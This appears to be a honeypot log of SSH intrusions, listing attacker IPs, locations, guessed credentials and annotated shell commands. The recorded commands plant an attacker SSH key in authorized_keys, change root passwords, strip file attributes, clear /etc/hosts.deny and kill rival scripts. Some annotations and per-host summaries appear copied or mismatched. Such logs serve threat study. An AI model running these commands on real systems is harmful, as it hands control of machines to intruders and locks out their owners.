$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lantern_root_8 (125.72.145.27) — Xining, China · 1 session · 1 cmd

2026-07-04 14:54 EDT · as root/Test@2022

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 ghost_root_33 (103.112.245.85) — Cikarang, Indonesia · 1 session · 20 cmds

2026-07-04 14:44 EDT · as admin/admin1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "admin1234\nuGBLb3z7Kty4\nuGBLb3z7Kty4"|passwd|bash

$ Enter new UNIX password:

$ echo "admin1234\nuGBLb3z7Kty4\nuGBLb3z7Kty4\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 strudel_root_12 (87.156.185.61) — Senftenberg, Germany · 2 sessions · 38 cmds

2026-07-04 13:56 EDT · as root/123456Ai, root/test123321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:fjfMNQmIzP2U"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:tRgHv7vuEHPZ"|chpasswd|bash

🎭 gouda_root_4 (34.178.21.247) — Groningen, Netherlands · 1 session · 1 cmd

2026-07-04 14:38 EDT · as root/

echo

$ echo SHELL_TEST

🎭 reef_root (223.27.18.80) — Narre Warren, Australia · 1 session · 19 cmds

2026-07-04 14:23 EDT · as root/Admin2026@

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:gNGuG0ADniZm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root_12 (97.74.87.152) — New York, United States · 1 session · 19 cmds

2026-07-04 13:44 EDT · as root/Admin2026@

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:9K66ZqWPsukD"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 toque_sol (99.199.82.20) — Surrey, Canada · 1 session · 1 cmd

2026-07-04 12:40 EDT · as ubuntu/123456

CPU profiling

$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}' // CPU profiling

🎭 wraith_root_32 (160.191.87.31) — Thành Phố Biên Hòa, Vietnam · 1 session · 19 cmds

2026-07-04 12:27 EDT · as root/Qwe123...

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:NHFrQCh8jiOG"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 chai_root_3 (20.204.136.58) — Pune, India · 1 session · 19 cmds

2026-07-04 12:02 EDT · as root/Yy123456@

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:0eb310E58RJm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_22 (152.32.254.89) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-07-04 11:38 EDT · as root/Yy123456@

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:BXj4i5UVKQFs"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_34 (45.78.204.254) — Singapore, Singapore · 1 session · 20 cmds

2026-07-04 11:27 EDT · as ervina/123456

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nXFIqgsrst3W1\nXFIqgsrst3W1"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nXFIqgsrst3W1\nXFIqgsrst3W1\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_35 (103.78.0.229) — Thanh Xuân, Vietnam · 1 session · 20 cmds

2026-07-04 11:24 EDT · as debian/test

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "test\nAcZkBwygfZcW\nAcZkBwygfZcW"|passwd|bash

$ Enter new UNIX password:

$ echo "test\nAcZkBwygfZcW\nAcZkBwygfZcW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_30 (163.7.6.114) — Yogyakarta, Indonesia · 1 session · 19 cmds

2026-07-04 11:20 EDT · as root/Yy123456@

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:DWyR1QyffgPw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_36 (85.133.225.217) — Tehran, Iran · 1 session · 19 cmds

2026-07-04 09:56 EDT · as root/1qazWSX3edc

CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:UlYHV7pMRXqX"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stroopwafel_sol_3 (91.92.42.227) — Eygelshoven, The Netherlands · 4 sessions · 4 cmds

2026-07-04 09:09 EDT · as root/12345, root/123456, root/admin

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×4

🎭 specter_root_33 (41.86.34.139) — Victoria, Seychelles · 1 session · 19 cmds

2026-07-04 08:19 EDT · as root/Qwe123456.

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:nPmcSkz9DD4c"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_9 (58.19.12.138) — Wuhan, China · 2 sessions · 14 cmds

2026-07-04 08:00 EDT · as root/Qwe123456., root/root1234!@#$

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:sfJRoYpZjz6f"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

🎭 jade_root_12 (106.75.227.248) — Yangpu, China · 1 session · 20 cmds

2026-07-04 08:16 EDT · as ftpadmin/123456

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\ng1yECJXguy3D\ng1yECJXguy3D"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\ng1yECJXguy3D\ng1yECJXguy3D\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_3 (4.227.177.11) — Boydton, United States · 2 sessions · 38 cmds

2026-07-04 07:58 EDT · as root/Qwe123456., root/root1234!@#$

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

